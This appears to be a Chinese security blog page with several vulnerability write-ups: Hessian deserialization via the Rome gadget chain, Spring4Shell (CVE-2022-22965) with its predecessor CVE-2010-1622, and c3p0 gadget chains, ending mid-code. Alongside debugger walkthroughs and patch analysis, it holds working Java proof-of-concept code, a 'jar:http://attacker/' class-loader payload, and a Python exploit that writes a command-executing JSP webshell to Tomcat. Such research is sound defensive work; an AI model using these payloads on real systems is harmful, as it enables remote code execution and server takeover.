分类 web安全 下的文章

  • 环境搭建


    关于 RPC:

    Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
    

    通讯过程:
    1.客户端发起请求,并按照 RPC 协议格式填充信息
    2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
    3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理
    4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回
    

    maven 添加扩展:
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    
  • 漏洞分析


    漏洞的触发点:HessianInput#readObject,由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77)。
    image-20220515194006621
    接着调用 readMap 进行进一步解析,接着进入 getDeserializer,然后创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中
    image-20220515194948774
    这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。
    那么只需要找一条入口为 hashcode 的反序列化链即可。
    Rome
    XBean
    Resin
    SpringPartiallyComparableAdvisorHolder
    SpringAbstractBeanFactoryPointcutAdvisor
    
  • 打 Rome


    poc:
    package moonflower.hessian;
    
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.caucho.hessian.io.ObjectNameDeserializer;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.rowset.JdbcRowSetImpl;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.Serializable;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class Hessian_Rome {
    
        public static <T> byte[] serialize(T o) throws IOException {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(bao);
            output.writeObject(o);
            System.out.println(bao.toString());
            return bao.toByteArray();
        }
    
        public static <T> T deserialize(byte[] bytes) throws IOException {
            ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
            HessianInput input = new HessianInput(bai);
            Object o = input.readObject();
            return (T) o;
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static Object getValue(Object obj, String name) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(obj);
        }
    
        public static void main(String[] args) throws Exception {
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            String url = "ldap://localhost:9999/EXP";
            jdbcRowSet.setDataSourceName(url);
    
            ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    
            HashMap hashMap = makeMap(equalsBean, "1");
    
            byte[] s = serialize(hashMap);
            System.out.println(s);
            System.out.println((HashMap)deserialize(s));
        }
    
        // 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
        public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
            HashMap<Object, Object> s = new HashMap<>();
            setValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.until.HashMap$Node");
            }
            catch (ClassNotFoundException e) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setValue(s, "table", tbl);
            return s;
        }
    
    }
    

    Rome 的 rce 过程:
    image-20220515203116261
    进入触发点,接着调用 EqualBean 的 hashcode 方法
    image-20220515203358736
    接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)
    image-20220515203524747
    接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter
    image-20220515204219256
    image-20220515204314905
    当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。
    image-20220515204531924
    image-20220515204649343
  • 不出网的失败打法


    参考 CC2,在 ToStringBean.toString() 的地方能调用任意的 getter,正常的思路是可以利用 TemplatesImpl 的 getOutputProperties 方法实现任意类加载,但这个思路在 Hessian 反序列化中是不行的!!!
    先回顾一下正常的 CC2,从 Transformer 开始,跟进到 getTransletInstance 中,并在其中实例化恶意 class。
    image-20220517142350927
    顺着调用栈向上找,恶意 class 的生成在 defineTransletClasses 中实现:
    image-20220517151748600
    注意这里的 _tfactory 是传入的 TransformerFactoryImpl(因为默认为 null,不传的话会直接触发异常)。
    如果在 Hessian 反序列化中用 TemplatesImpl 代替 ROME 中的 jndi 注入,会在 toString 中调用 TemplatesImpl 的 getOutputProperties,但这里重点关注传入的关键参数
    image-20220517143810922
    跟进具体的调用
    image-20220517144002313
    同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
    image-20220517152239480
    找一下 _tfactory 的定义发现 _tfactory 是用 transient 修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
    image-20220517152444869
    但 CC2 为什么可以?原因是 TemplatesImpl 的 readObject 的最后一句直接 new 了一个 _tfactory(这也是为什么虽然王传的大部分 CC2 都要给 _tfactory 传参但不传也行的原因),而直接拼 Rome 的链子不会用到原生的 readObject,所以也不会实例化这个 _tfactory。
    image-20220517152811270
  • 不出网的成功打法


    利用了 java.security.SignedObject ,直接打二次反序列化即可。
    image-20220517160228829
    具体的 payload 见 【HFCTF2022 ezchain】。
  • 参考文献


 

文章首发奇安信攻防社区:https://forum.butian.net/share/1496

  • 环境搭建


    github 上拉了一个现成的 spring + tmcat 环境:https://github.com/winn-hu/interface。可以在其中添加实验用的 model 和 controller。
  • 漏洞成因


    这次的 CVE-2022-22965 其实是 CVE-2010-1622 的绕过,由参数绑定造成的变量覆盖漏洞,通过更改 tomcat 服务器的日志记录属性,触发 pipeline 机制实现任意文件写入。
  • SpringMVC 的参数绑定机制


    演示 demo:
    HelloController.java
    @Controller
    public class HelloController {
        @RequestMapping("/index")
        public String index(User user) {
            return user.toString();
        }
    }
    

    User.java
    package com.moonflower.model;
    
    import com.moonflower.model.info;
    
    public class User {
        public String name;
        public String age;
        public com.moonflower.model.info info;
    
        public User(String name, String age, com.moonflower.model.info info) {
            this.name = name;
            this.age = age;
            this.info = info;
            System.out.println("调用了User的有参构造");
        }
    
        public User() {
            System.out.println("调用了User的无参构造");
        }
    
        public String getName() {
            System.out.println("调用了User的getName");
            return name;
        }
    
        public void setName(String name) {
            System.out.println("调用了User的setName");
            this.name = name;
        }
    
        public com.moonflower.model.info getInfo() {
            System.out.println("调用了User的getInfo");
            return info;
        }
    
        public void setInfo(com.moonflower.model.info info) {
            System.out.println("调用了User的setInfo");
            this.info = info;
        }
    
        @Override
        public String toString() {
            return "User{" +
                    "name='" + name + '\'' +
                    ", info=" + info +
                    '}';
        }
    }
    

    info.java
    package com.moonflower.model;
    
    public class info {
        public String QQ;
        public String vx;
    
        public info(String QQ, String vx) {
            this.QQ = QQ;
            this.vx = vx;
            System.out.println("调用了info的有参构造");
        }
    
        public info() {
            System.out.println("调用了info的无参构造");
        }
    
        public String getQQ() {
            System.out.println("调用了info的getQQ");
            return QQ;
        }
    
        public void setQQ(String QQ) {
            System.out.println("调用了info的setQQ");
            this.QQ = QQ;
        }
    
        public String getVx() {
            System.out.println("调用了info的getvx");
            return vx;
        }
    
        public void setVx(String vx) {
            this.vx = vx;
            System.out.println("调用了info的setvx");
        }
    
    
        @Override
        public String toString() {
            return "info{" +
                    "QQ='" + QQ + '\'' +
                    ", vx='" + vx + '\'' +
                    '}';
        }
    }
    

    首先尝试访问 /index?name=moonflower&info.QQ=123&info.vx=13,在执行完 toString 之后,可以看到传入的 name 自动绑定到了 user.name 上,而 info.QQ 和 info.vx 也分别自动绑定到了 user.info.QQ 和 user.info.vx 上,这也表明了 SpringMVC 支持多层嵌套的参数绑定。
    image-20220408160500800
    再看一下输出的内容,能看出参数的绑定先 get 后 set,而对于多层嵌套绑定(info.QQ),则是依次调用了 User.getinfo -> info.getQQ -> info.setQQ
    image-20220408162537886
    执行参数绑定的函数可以跟进 ServletRequestDataBinder 类中
    image-20220408163212286
    继续跟进到 doBind 中,发现其又调用了父类的 doBind,
    image-20220408163241062
    image-20220408163400974
    在 applyPropertyValues 中添加参数的值
    image-20220408163515488
    首先调用 getPropertyAccessor 获取 BeanWrapperImpl,然后调用 setPropertyValues 赋值,在 setPropertyValues 中循环调用 setPropertyValue,为每一个 propertyname 赋值(图中已经是赋值完 QQ,开始赋值 vx)
    image-20220408170046471
    然后在 setPropertyValue 中持续跟进,一直到 getPropertyAccessorForPropertyPath,
    image-20220408170021270
    在 getPropertyAccessorForPropertyPath 中解析了即将绑定的参数(info.vx)
    image-20220408170347289
    再跟到 getPropertyValue 中
    image-20220408170736556
    在 getLocalPropertyHandler 中,BeanWrapperImpl 的方法拿到了 info 类
    image-20220408170858986
    继续跟到 setDefaultValue,而 setDefaultValue 又会调用 createDefaultPropertyValue 中
    image-20220408172707060
    在 createDefaultPropertyValue 的 newValue 中可以看到反射构造
    image-20220408172906444
    image-20220408173031786
    这时看一下 output,发现已经打印了调用 info 的无参构造
    image-20220408173111390
    回到 setDefaultValue 中,接着调用里 setPropertyValue 方法,
    image-20220408181529234
    继续跟进到解析对应的参数,而这里解析到的是一个 info 类,
    image-20220408182015937
    就像刚开始说的那样,在当前要绑定的参数 (info) 无法直接赋值的时候,会进行多层嵌套的参数绑定,可以看到程序又会回到 getPropertyAccessorForPropertyPath 中,而且参数从 info.QQ 变成了 QQ,然后继续跟进,就可以看到给对应属性(QQ)的赋值操作
    image-20220408184045968
    在后续的 getValue 函数中,通过反射的方法调用了对应的 get 方法(getQQ),
    image-20220408184639669
    继续向下跟进到 setValue 中,同样也是用反射调用了对应的 set 方法,此时 output 中出现对应打印内容。
    image-20220408184751205
    大致流程(图来自 rui0 师傅)
    image-20220408204309017
  • 关于 JavaBean


    在上面的例子中声明的类(User, info)都是 JavaBean,一种特殊的类。主要用于传递数据信息,要求方法符合某种命名规则,在这些 bean 中通常只有信息字段和存储方法,没有功能性方法。
    对于 JavaBean 中的私有属性,可以通过 getter/setter 方法来访问/设置,在 jdk 中提供了一套 api 来访问某个属性的 getter/setter 方法,也就是内省。
    BeanInfo getBeanInfo(Class beanClass)
    BeanInfo getBeanInfo(Class beanClass, Class stopClass)
    

    在获得 BeanInfo 后,可以通过 PropertyDescriptors 类获取符合 JavaBean 规范的对象属性和 getter/setter 方法。
    (如果用 IDEA 调过前面参数绑定的过程,就会发现在 Spring 中对 JavaBean 的操作不是用 getBeanInfo(太麻烦了),而是用 BeanWrapperImpl 这个类的各种方法来操作。BeanWrapperImpl 类是 BeanWrapper 接口的默认实现,可以看作前面提到的 PropertyDescriptor 的封装,BeanWrapperImpl 对 Bean 的属性访问和设置最终调用的是 PropertyDescriptor。)
    demo:
    public class demo {
        public static void main(String[] args) throws Exception {
            BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
            PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
            for (PropertyDescriptor pd : descriptors) {
                System.out.println("Property: " + pd.getName());
            }
        }
    }
    

    程序跑起来的时候可以发现,User 的属性(name,info)及其方法都在 PropertyDescriptor 中可以拿到,
    image-20220408203023229
    但除此之外,还能拿到一个 Class 类,而且自带一个 getClass 方法。
    image-20220408203417114
    这里是因为没有使用 stopClass,访问该类的时候访问到了 Object.class,而内省机制的判定规则是,只要由 getter/setter 方法中的一个,就会认为存在一个对应的属性,而碰巧的是,Java 中的所有对象都会默认继承 Object 类,同时它也存在一个 getClass 方法,这样就解析到了 class 属性。
    如果直接调用:
    Introspector.getBeanInfo(Class.class)
    

    可以获取更多信息,包括关键的 classLoader。
    image-20220409104105332
  • CVE-2010-1622


    首先分析一下变量覆盖的问题,是在参数绑定的时候发生的,
    demo:
    public class UserInfo {
        private String id;
        private String number;
        private User user = new User();
        private String names[] = new String[]{"moonflower"};
    
        public String getId() {
            return id;
        }
        public String getNumber() {
            return number;
        }
        public void setId(String id) {
            this.id = id;
        }
        public User getUser() {
            return user;
        }
        public String[] getNames() {
            return names;
        }
    }
    

    设置 test 路由:
        @RequestMapping(value = "/test", method = RequestMethod.GET)
        public void test(UserInfo userInfo) {
            System.out.println("id:"+userInfo.getId());
            System.out.println("number:"+userInfo.getNumber());
            System.out.println("class:"+userInfo.getClass());
            System.out.println("user.name:"+userInfo.getUser().getName());
            System.out.println("names[0]:"+ userInfo.getNames()[0]);
            System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
        }
    

    然后访问(注意[]要编码):
    /test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=moonflower&names[0]=33333
    

    对照一下输出的内容:
    image-20220408220253963
    Id 和 name 有 get 和 set 方法,可以正常获取;number 为空,因为没有 set 方法;class 和 classLoader 也都没有 set 方法所有赋值失败。但出乎意料的是 names 没有 get 方法但赋值成功了(33333),这时需要打个断点调一下了。
    前半部分的和前面调试参数绑定的流程相同,直到跟到 getLocalPropertyHandler 中,跟进看看内部的具体实现。
    image-20220408221939906
    这里最后调用的是 CachedIntrospectionResults.getPropertyDescriptor 这个方法(最后发现图贴错了,重新补了一张,name 换了但不是重点)
    image-20220409205948940
    在其中循环调用 buildGenericTypeAwarePropertyDescriptor,查找每个属性的 getter 和 setter,
    image-20220409103442420
    image-20220409103606480
    按照之前调试的流程,一直跟进到 setPropertyValue,参数的绑定在这里面完成
    image-20220409100130081
    在前面的 CachedIntrospectionResults.getPropertyDescriptor 中拿到了这个属性的 getter 和 setter,本应该判断是否有 setter 方法(isWriteable),然后进行参数的绑定,
    image-20220409101109119
    但是在验证 isWriteable 之前,会先判断是不是数组类型,如果是的话就直接调用 Array.set 在底层赋值。
    image-20220409101236379
    目前可公开的情报:
    1.SpringMVC 支持嵌套的参数绑定
    2.JavaBean 底层实现的时候能访问到 Object.class
    3.class 这个属性存在对应的 getter 
    4.可以在没有 setter 的情况下可以修改数组变量的值
    

    在 tomcat 中的 WebappLoader 类继承了 URLClassLoader ,URLClassLoader 有一个方法 getURLs,可以返回一个数组。而 getURLs 方法在 TldLocationsCache 类(处理页面的 tld 标签库)中被调用,可以从 URL 数组中指定的目录去获取 tld 文件(运行远程获取)。
    结合以上信息,在 CVE-2010-1622 中,攻击者可以控制 class.classLoader.URLs[],提交参数:
    class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
    

    接着在渲染 jsp 页面的时候,Spring 会通过 Jasper 中的 TldLocationsCache 类从 WebappClassLoader 中读取 url 参数并用来解析 TLD 文件,其中 spring-exploit.jar里面包含修改后的 spring-form.tld,而解析 tld 的过程中允许使用 jsp 语法,那么恶意的 spring-form.tld 可以在原 /META-INF/spring-form.tld 中替换 input tag:
    <!-- <form:input/> tag -->
        <tag-file>
        <name>input</name>
        <path>/META-INF/tags/InputTag.tag</path>
      </tag-file>
    

    (input tag 会根据开发人员的定义,给参数默认赋值)
    这样就指定了一个 tag 文件解析。同样,恶意的的 tag 文件也可以放在构造的 spring-exploit.jar 中
    <%@ tag dynamic-attributes="dynattrs" %>
    <%
     j java.lang.Runtime.getRuntime().exec("calc"); 
    %>
    

    经过这样的替换后,当开发者在 controller 中将任何一个对象绑定表单(一般的 web 应用中都会由),那么就可以通过构造 payload:
    ?class.classLoader.URLs[0]=jar:http://vsp/spring-exploit.jar!/
    

    实现远程命令执行。
    除此之外,需要是该应用启动后第一次的 jsp 页面请求即第一次渲染进行TldLocationsCache.init 才可以,否则无法将修改的 URLs 内容装载,也就无法加载我们恶意的 tld。
    漏洞修复:

    虽然是 spring 的漏洞,但 tomcat 也做了对应的修复,在 tomcat6.0.28 之后的版本把 getURLs 方法返回的值改成了 clone
    6.0.28:
    public URL[] getURLs() {
            if (repositoryURLs != null) {
                return repositoryURLs;
    }
    

    之后:
    public URL[] getURLs() {
            if (repositoryURLs != null) {
                return repositoryURLs.clone();
    }
    

    至于 spring 的修复其实在之前 debug 的过程中已经能看到了,本地用的是 4.3.5 版本,在查找属性的 getter 和 setter 的时候,对 classLoader 进行了过滤。
    image-20220409103442420
  • CVE-2022-22965


    在漏洞利用的前提中有一条有其重要,就是要使 jdk9+ 的版本(本地用 jdk11 进行调试),原因是在 java9 添加了 module 模块,而 CVE-2022-22965 就是利用了这个模块实现了 CVE-2010-1622 的绕过,但与其说是绕过,更不如说是攻击方式的拓展。
    前面提到过,getBeanInfo 能获得属性的原因是有对应的 getter,在 jdk9 以后的 java.lang.Class 中,发现 getModule 方法,
    image-20220409175251746
    在 jdk9+ 的 Class.class 中也可以看到:
    image-20220409175445837
    而在这个 module 类中,也存在一个 ClassLoader 类型的属性,并且存在对应的 getter ,
    image-20220409175554892
    image-20220409175650593
    那么现在 spring 过滤 classLoader 的修复已经是被绕过了,但在 tomcat6.0.28 之后因为 getUrls 的修复,之前的利用方式也无法使用。而在这个漏洞中 getshell 的方式和之前 Apache Struts 曾经曝出过的远程代码执行(CVE-2014-0094)相似,通过修改 Tomcat 的日志设置(通过AccessLogValve)来写入恶意文件。
    到 CVE-2014-0094 在 msf 中已经集成,看一下 poc,
    image-20220409181314079
    对应 http 报文填充的内容:
    image-20220409181405577
    不过后续是直接将 ?dump 进去
    image-20220409192648824
    image-20220409192735003
    看一下 CVE-2022-22965 的 poc,这里利用了 pattern 来写?
    
        headers = {"suffix":"%>//",
                    "c1":"Runtime",
                    "c2":"<%",
                    "DNT":"1",
                    "Content-Type":"application/x-www-form-urlencoded"
    
        }
        data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
        try:
    
            requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
            shellurl = urljoin(url, 'tomcatwar.jsp')
            shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
            if shellgo.status_code == 200:
                print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
        except Exception as e:
            print(e)
            pass
    

    其中将 url 解码后,看一下每个参数的赋值:
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
    
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    
    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
    
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    看一下每个参数在 tomcat 中对应的定义:
    directory将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为“logs”(相对于 $CATALINA_BASE)。
    prefix添加到每个日志文件名称开头的前缀。如果未指定,默认值为“access_log”。
    suffix添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为“”(长度为零的字符串),表示不会添加后缀。
    fileDateFormat允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会轮换(rotated)。默认值为.yyyy-MM-dd。如果您希望每小时轮换一次,则将此值设置为.yyyy-MM-dd.HH。日期格式将始终使用 locale 进行本地化en_US
    pattern一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的 common单词combined。有关配置此属性的更多信息,请参见下文。

    下面就是通过 debug 分析一下 poc 成功执行的原因了,先打一发 payload 过去,重点看 setPropertyValue 的过程
    image-20220409204523881
    在 getPropertyAccessorForPropertyPath 中迭代解析参数
    image-20220409204937216
    重点看每次反射获取方法时调用的 class,module 前面的之前已经调过了:
    classLoader:
    image-20220409212134080
    resources:(注意这里已经开始修改 tomcat 中的属性了)
    image-20220409212227656
    context:(这里是一个 StandardContext 的上下文)
    image-20220409212339732
    image-20220409221731986
    而 StandardContext 类继承自 ContainerBase,payload 中通过 parent 获得:
    image-20220409221922360
    到现在为止,能做到覆盖 ContainerBase 的属性了,payload 中选择了 pipeline 属性,
    image-20220409222202948
    接着是 first,first 变量是一个 Valve 类型的接口,也就是说这里能修改继承这个接口的类中的属性,
    image-20220409222528400
    最后修改了 AccessLogValve 这个类中的属性。
    image-20220409222945610
    AccessLogValve 用来记录访问日志 access_log。Tomcat 的 server.xml 中默认配置了 AccessLogValve,所有部署在 Tomcat 中的 Web 应用均会执行该 Valve。对照前面 tomcat 对其中属性的定义,已经可以控制日志后缀名,文件名称,存放位置等属性。(在 server.xml 中定义)
    image-20220409223937023
    本来 log 内容以 pattern 的格式填充,而 payload 中直接进行了覆盖,从而写进去了?。
    还有一个问题就是为什么要加一个 fileDateFormat,目的是触发 tomcat 切换日志。看一下 AccessLogValve 的 rotatable 属性。
    image-20220409225312259
    用于确定是否应发生日志轮换的标志。如果设置为 false,则永远不会轮转此文件并忽略 fileDateFormat。默认值:true
    

    意思就是说,当这个值为 true 的时候,tomcat 会根据时间的变换而自动生成新的文件,避免所有的日志从 tomcat 运行开始都写在一个文件中。如下:
    image-20220409225714380
    再看一下执行这个过程的代码实现:
    image-20220409225856012
    其中 fileDateFormat 的初始化:
    image-20220409230028127
    那么如果在程序运行时把 fileDateFormat 改为空,就会导致 toDate 为空,进入 if 语句并打开新的 log 文件。
    跟进一下 open 的实现流程,也能和前面传入的属性对应。
    image-20220409230426709
    到现在已经实现了任意文件的写入,但是要写?的话还是有些问题要解决。
    在 tomcat 的比较新的版本中,无法在 URL 中携带 <{ 等特殊字符,但在 AccessLogValve 的输出方式支持 Apache HTTP Server日志配置语法模型,可以通过占位符写入特殊字符。
    %{xxx}i 请求headers的信息
    %{xxx}o 响应headers的信息
    %{xxx}c 请求cookie的信息
    %{xxx}r xxx是ServletRequest的一个属性
    %{xxx}s xxx是HttpSession的一个属性
    
  • 漏洞复现


    github 上拉一个:https://github.com/fengguangbin/spring-rce-war
    把 stupidRumor_war.war 放到 tomcat 的 webapps 中,试一下任意文件写入:
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D%3A%5Cenvironment%5Capache-tomcat%5Capache-tomcat-8.5.73%5Cwebapps%5Ctmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    image-20220409233845110
    但是这个 payload 还是存在一些问题,首先是初次写入后无法修改写入文件的位置,然后就是每次访问都会向?中添加内容(图中的两个 success)。
    根据我们前面的分析,出现这种情况的原因是没有触发 rotata,因为两次传入的 fileDateFormat 都为空,equal 的时候自然就会相等,从而无法生成新的日志。
    解决方法就是如果要修改?的位置,让 fileDateFormat 和上次不一样就行,可以通过 "fileDateFormat + prefix".jsp 的格式拼接出文件名。
    而对于重复添加内容,可以在 webshell 末尾添加 <!-- 把后面的内容注释掉。
  • 利用限制


    • JDK9 或以上版本系列(存在 module 属性)
    • Spring 框架或衍生的 SpringBoot 等框架,版本小于 v5.3.18 或 v5.2.20(支持参数绑定机制)
    • Spring JavaBean 表单参数绑定需要满足一定条件
    • 以 war 包的形式部署在 Tomcat 容器中,且日志记录功能开启(默认状态)

    漏洞利用的关键点是利用 module 属性加载 org.apache.catalina.loader.ParallelWebappClassLoader 这个 classLoader,image-20220408220253963
    将利用链的挖掘转移到了 tomcat 中,再通过修改其中的一系列属性 getshell。
    但如果 web 应用是以 jar 包的形式部署(比较常见),那么 classLoader 就会被解析成 org.springframework.boot.loader.LaunchedURLClassLoader,无法继续利用 tomcat 的属性。
  • 补丁分析


    Spring(5.3.18):
    image-20220410001554413
    直接用白名单,对于 class 只能获取以 name 结尾的属性,比起之前的黑名单算是修的比较彻底了。
    Tomcat(9.0.62):
    image-20220410001802378
    十分彻底 ,getResouces 直接返回 null,后续的链就都断了。
  • 参考文献


  • c3p0


    C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能。目前使用它的开源项目有hibernate,spring等。是一个成熟的、高并发的JDBC连接池库,用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。
  • http base


    触发点是 PoolBackedDataSourceBase 中的 readObject 方法,在其中调用了 getObject 方法
    image-20220418093523078
    跟进 getObject,其中又调用了 referenceToObject 方法(之前也是有 lookup,但 contextName 不可控,所以这里不能 jndi 注入)
    image-20220418093903696
    继续跟进 referenceToObject 方法,发现这里可以直接远程加载 class,对应的参数是 Reference 中的 classFactory classFactoryLocation 属性,最后从 classFactoryLocation 中加载 classFactory 类
    image-20220418094038188
    看一下 poc 是怎么写的:
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    import com.mchange.v2.naming.ReferenceIndirector;
    
    import javax.naming.Name;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import javax.naming.Referenceable;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.rmi.Naming;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.logging.Logger;
    
    public class c3p0SerDemo {
        public static void main(String[] args) throws Exception{
            PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
            Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
            Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
            f1.setAccessible(true);
            f1.set(a,new evil());
    
            ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser.writeObject(a);
            ser.close();
            ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
            unser.readObject();
            unser.close();
        }
    
        public static class evil implements ConnectionPoolDataSource, Referenceable {
            public PrintWriter getLogWriter () throws SQLException {return null;}
            public void setLogWriter ( PrintWriter out ) throws SQLException {}
            public void setLoginTimeout ( int seconds ) throws SQLException {}
            public int getLoginTimeout () throws SQLException {return 0;}
            public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
            public PooledConnection getPooledConnection () throws SQLException {return null;}
            public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    
            @Override
            public Reference getReference() throws NamingException {
                return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
            }
        }
    }
    

    evilexp.java:(注意不要有包名!)
    public class evilexp {
        public evilexp() throws Exception{
            Runtime.getRuntime().exec("calc");
        }
    }
    

    看一下如何修改 classFactory classFactoryLocation 的值。PoolBackedDataSourceBase 中的 writeObject,首先尝试序列化当前对象的 connectionPoolDataSource 属性,如果不能序列化便会进入 catch 部分,在 catch 中用 ReferenceIndirector.indirectForm 处理后再进行序列化。
    image-20220418091546679
    跟进 indirectForm,此方法会调用传入参数的 getReference 方法,用返回的结果实例化一个 ReferenceSerialized对象,然后返回这个对象,在这个过程中,传入的 object 也就是 reference 对象是我们构造的触发反序列化的对象。
    image-20220418091705259
    getReference 在 poc 中声明:
    image-20220418111815732
    对应到 Reference 类中,完成赋值
    image-20220418112126678
  • JNDI 注入


    在 fastjson 或 jackson 的环境下利用,要求 jdk8u191 一下的版本(在jdk8u191 后添加了 trustCodebaseURL 的限制,无法加载远程 codebase 的字节码)
    image-20220418113203965
    poc:(以 jackson 为例)
    用到的工具:https://github.com/welk1n/JNDI-Injection-Exploit/
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    import java.io.*;
    
    class Person {
        public Object object;
    }
    
    public class TemplatePoc {
        public static void main(String[] args) throws IOException {
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
